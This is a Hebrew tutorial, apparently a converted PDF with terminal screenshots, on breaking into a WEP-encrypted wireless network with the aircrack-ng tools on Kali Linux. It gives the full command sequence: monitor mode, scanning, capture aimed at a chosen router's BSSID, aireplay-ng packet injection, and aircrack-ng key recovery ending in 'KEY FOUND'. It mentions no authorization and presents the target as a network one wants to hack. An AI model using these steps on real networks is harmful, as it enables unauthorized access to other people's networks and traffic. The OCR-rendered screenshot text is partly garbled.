WEP פריצה לרשת אלחוטית



נחבר כרטיס רשת עם CHIPSET תומך על מנת להפעיל מוניטור.

(terminal) נפתח חלון מסוף שורת פקודה

ifconfig ונקליד

כעת נוכל לראות את כרטיסי הרשת המחוברים למחשב.



עמוד 1 מתוך 6

.eth0 במקרה שלי קיים כרטיס אחד מחובר והוא

loopback -הוץ מכרטיס ה

airmon-ng נקליד

ונוכל לראות פרטים על הכרטיס רשת שלנו

כולל איזה chipset יש לו וכו

Applications Places	si 1	Fri Jul 10, 4:33 PM		🗬 root
	r.	oot@kali: ~	- 0	×
File Edit View	Search Terminal He	elp		
RX pa TX pa coll: RX by root@kali:~# a:	ackets:120 errors: ackets:120 errors: sions:0 txqueuele rtes:7200 (7.0 KiB .rmon-ng	0 dropped:0 overruns:0 frame:0 0 dropped:0 overruns:0 carrier:0 en:0 2) TX bytes:7200 (7.0 KiB)		
Interface	Chipset	Driver		
wlan0	Ralink RT2870/30	70 rt2800usb - [phy3]		
root@kali:~# root@kali:~#				

wlan0 השם שלו כפי שניתן לראות הוא

airmon-ng start wlan0 נפעיל מוניטור על הכרטיס הזה בפקודה

ונקבל פלט שהמוניטור הופעל.

	root@kali: ~	_ □ ×	
File Edi	t View Search Terminal Help		
root@kal	li:∼# airmon-ng start wlan0	1	
		_	
Found 3	processes that could cause trouble.	_	
a short	period of time, you may want to kill (some of) them!	_	
-e		_	
5421	Name NetworkManager	_	
5961	wpa_supplicant	_	
5963	and Lient	_	
Interfec	Chippet Driver	_	
Interia	e chipset driver	_	
wlan0	Ralink RT2870/3070 rt2800usb - [phy0]		
	(monitor mode enabled on monu)		
root@kal	i:~#		

© כל הזכויות שמורות ל:שלום אלחרר להארות והערות נא לפנות לדוא"ל: shalomi9227@gmail.com לא ניתן להשתמש בתכנים ללא הסכמה בכתב מהמחבר.

עמוד 2 מתוך 6

אך ישנם כמה תהליכים הפועלים ברקע שיכולים להפריע לתהליך אז נכבה אותם בפקודה kill 5421

לפי המספרים שלהם

Applications Places	S	Fri Jul 10, 4:43 PM	n(c)) X(c)⊪	🚅 🔍 root
		root@kali: ~		_ 🗆 ×
File Edit View	Search Terminal	Help		
root@kali:~# a Found 3 proces If airodump-ng a short period	irmon-ng start ses that could , aireplay-ng c of time, you m	wlan0 cause trouble. or airtun-ng stops working nay want to kill (some of)	g after them!	
-e DID Namo				
5421 Networ 5961 wpa_su 5963 dhclie	<manager oplicant nt</manager 			
Interface	Chipset	Driver		
wlan0 <mark>root@kali:~#</mark>	Ralink RT2870	9/3070 rt2800usb - [p (monitor mode enabled) The quieter you become, the more you are a	ohy0] on mon0) The to hear	

airodump-ng mon0 כעת נסרוק את הרשתות האלחוטיות בפקודה

בחלק העליון נוכל לראות את הרשתות האלחוטיות

בחלק התחתון נוכל לראות את המכשירים המחוברים לרשתות

המכשיר מחובר MAC החלק השמאלי תחת הקטגוריה BSSID אומר לנו לאיזה

MAC ואחריו תחת הקטגוריה STATION אומר איזה מכשיר מחובר לאותו

Арр	lications	Places	3	>_	Fr	i Jul	10, 4	4:48 P	М			ų	X		root
					root(@kali	i: ~							. 🗆 >	<
	File Edit	View	Searcl	h Ter	minal Help										
	CH 10]	[Elaps	ed: 1	l min][2015-07	-10	16:	48							
	BSSID			PWR	Beacons	#Da	ata,	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID	
	9C:D6:4 00:22:B 20:0C:C	3:22:39 0:73:0D 8:1B:1D	:8B :AB :F1	-62 -54 -86	28 39 3		34 0 0	0 0 0	4 4 1	54 54e 54e	WEP WEP WPA2	WEP WEP CCMP	PSK	mirya shal brons	
	BSSID			STATI	ION		PWR	Ra	te	Los	t	Frames	Prob	9	
	9C:D6:4 9C:D6:4 (not as (not as	3:22:39 3:22:39 sociate sociate	:8B :8B d) d)	C0:BD F0:27 00:1F 04:54	D:D1:5B:72: 7:65:7E:6A: F:1F:A8:89: A:95:69:0E:	DE 24 F2 EE	-30 -72 0 -74	54 54 0 0	-54 -54 - 1 - 1	2	0 86 0 0	30 18 11 4			
										UD	Σ				
>_	root@kali	: ~											▶.		

נסביר קצת מה הטורים אומרים לנו

	•									
BSSID	PWR	Beac	#Data	#/s	CH	MB	ENC	CIPER	AUTH	ESSID
		ons								
מק	המרחק וחוזק		מספר		מספר	מהירות	סוג	סוג		שם הרשת
אדרס	קליטה ככל		הנתונים		ערוץ	הכרטיס	הצפנה	הצפנה		האלחוטית
של	שהמספר		שעברו בינו		צ'אנל	רשת				
הראוטר	יותר נמוך כך		לבין			של				
	הראוטר יותר		המכשיו במדרר איתו			הראוטר				
	קרוב									

עכשיו נאזין רק לרשת אותה אנחנו מעוניינים לפרוץ ונכתוב את כל הנתונים שעוברים בניהם לקובץ.

נרשום את שם התוכנה את מספר צ'אנל ,מתג W שאומר לכתוב לקובץ ,את שם הקובץ, מתג מק הרשת , המק של הראוטר ,ושם הכרטיס רשת שאותו הפכנו למוניטור

airodump-ng -c 4 -w shalom.txt --bssid 9c:d6:43:22:39:8b mon0

Applications Places 🥰 🗾 🛛 🛛 Fri Jul 10, 5:1	0 PM 🕠	<u> </u>
root@kali: ~	-	• ×
File Edit View Search Terminal Help		
<pre>root@kali:~# airodump-ng -c 4 -w shalom.txtbs</pre>	sid 9C:D6:43:22:39:8B mon0	
		_

עכשיו אנחנו צריכים לאסוף בין 30000 ל 50000 פקאטות

#Data נוכל לראות כמה כבר אספנו תחת קטגוריה

חשוב לסגור את החלון שפתחנו לפני (הצגת כל הרשתות) כדי שלא יפריע לאיסוף הפקאטות

Ар	plications	Places	()	_		Fr	i Jul 1	10, 4	1:48 F	M			ų	X	P	🗬 го
						root(@kali	: ~								×
	File Edit	. View	Search	Ter	minal	Help										_
	СН 10]	[Elaps	ed: 1	min][20	15-07	-10	16:4	48							
	BSSID			PWR	Beaco	ns	#Da	ata,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSI	D I
	9C:D6:4	3:22:39	:8B	-62		28		34	Θ	4	54	WEP	WEP		miry	a
	00:22:B 20:0C:C	80:73:00 8:1B:10):AB):F1	-54 -86		39 3		0 0	0 0	4 1	54e 54e	WEP WPA2	WEP CCMP	PSK	shal bron:	5
	BSSID			STATI	[ON			PWR	Ra	te	Los	t f	- rames	Probe	e	
	9C:D6:4	3:22:39	:8B	C0:BD):D1:5	B:72:	DE	-30	54	-54		Θ	30			
	9C:D6:4	3:22:39	:8B	F0:27	7:65:7	E:6A:	24	-72	54	-54	2	86	18			
	(not as (not as	sociate sociate	ed) ed)	00:1F 04:5A	-:1F:A \:95:6	8:89: 9:0E:	F2 EE	0 -74	0	- 1 - 1		0	11 4			

בשביל לזרז את התהליך נוכל להאיץ את התקשורת בניהם.

aireplay-ng -1 0 –a 9c:d6:43:22:39:8b mon0 נפתח חלון חדש ונרשום נקבל פלט שהתהליך הצליח.

aireplay-ng -3 –b 9c:d6:43:22:39:8b mon0 ואז נרשום יתחילו לרוץ פקאטות וכך נשיג את הנתונים מהר יותר.

עמוד 5 מתוך 6

לעיתים ישנם שגיאות עם התהליך של הרצת הפקאטות ניתן לסגור ולנסות שוב.

בכל מקרה ננסה לבדוק אם אספנו מספיק כדי לדעת את הסיסמה.

ls נפתח חלון חדש ונרשום

נוכל לראות את השמות של הקבצים בהם נרשמו הפקאטות נעתיק את שם הקובץ עם cap הסיומת

Applications Pla	aces 🧃 📐	Fri Jul 10,	5:30 PM	(i))	F	🗬 root
		root@kali: ~			□ ×	
File Edit View	Search Terminal	l Help				
root@kali:~# ls Desktop shalom.txt-01.g	s shalom.tx cap shalom.tx	t-01.csv t-01.kismet.csv	shalom.txt-01.kismet.netxm	l		
root@kali:~#						

aircrack-ng shalom.txt-01.cap ונרשום

כעת אם אספנו מספיק מנות נתונים שעברו בין המכשירים נוכל לקבל את הסיסמה.

Applications Places 🚳 🔄 🛛 Fri Jul 10, 5:33 PM	•) 🚅	🗬 root
root@kali: ~	_ 🗆 ×	o x
File Edit View Search Terminal Help		
Aircrack-ng 1.2 beta3		
[00:00:01] Tested 586081 keys (got 116 IVs)		U
		am
NB depth byte(vote) 0 19/20 FF(512)00(256)02(256)08(256)13(256)		
1 16/ 96 FD(512) 00(256) 01(256) 02(256) 06(256)		
2 23/ 2 F5(512) 08(256) 0D(256) 1D(256) 20(256) 3 3/ 5 07(768) 13(512) 6A(512) 7F(512) 87(512)		
4 18/ 4 B7(512) 04(256) 07(256) 08(256) 09(256)		
KEY FOUND! [33:34:45:50:03]		
Decrypted correctly: 100%		
root@kali:~#		
The quieter you become, the more you are able to hear.		

בהצלחה !

© כל הזכויות שמורות ל:שלום אלחרר להארות והערות נא לפנות לדוא"ל: shalomi9227@gmail.com לא ניתן להשתמש בתכנים ללא הסכמה בכתב מהמחבר.

עמוד 6 מתוך 6